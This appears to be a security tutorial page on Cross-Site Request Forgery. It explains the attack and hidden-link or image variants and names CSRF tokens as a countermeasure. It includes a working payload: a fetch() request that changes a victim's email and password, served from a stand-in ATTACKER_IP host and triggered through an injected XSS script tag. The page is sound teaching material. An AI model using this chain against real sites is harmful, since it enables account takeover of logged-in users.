Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF/XSRF)
CSRF is a type of security vulnerability where an attacker tricks a user's web browser into performing an unwanted action on a trusted site where the user is authenticated. This is achieved by exploiting the fact that the browser includes any relevant cookies (credentials) automatically, allowing the attacker to forge and submit unauthorised requests on behalf of the user (through the browser). The attacker's website may contain HTML forms or JavaScript code that is intended to send queries to the targeted web application.
1) Create and host a JS script
fetch('/update_email.php', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});2) Host the script
python3 -m http.server 80003) Inject XSS, then when the intended target triggers the XSS, their password effectively gets reset
<script src="http://ATTACKER_IP:8000/script.js"></script>Cycle of CSRF
CSRF Impact
Types of CSRF Attack
Hidden Link/Image Exploitation
Requirements:
Victim has to click your malicious link while logged in with his credentials stored in the browser (Cookies, tokens, etc)
Explanation:
A covert technique known as hidden link/image exploitation in CSRF involves an attacker inserting a 0x0 pixel image or a link into a webpage that is nearly undetectable to the user. Typically, the src or href element of the image is set to a destination URL intended to act on the user's behalf without the user's awareness. It takes benefit of the fact that the user's browser transfers credentials like cookies automatically.
This technique preys on authenticated sessions and utilises a social engineering approach when a user may inadvertently perform operations on a different website while still logged in.
Countermeasures:
Add a CSRF token with each request submitted to the server so that the server can identify if it is clicked through a valid source.
Last updated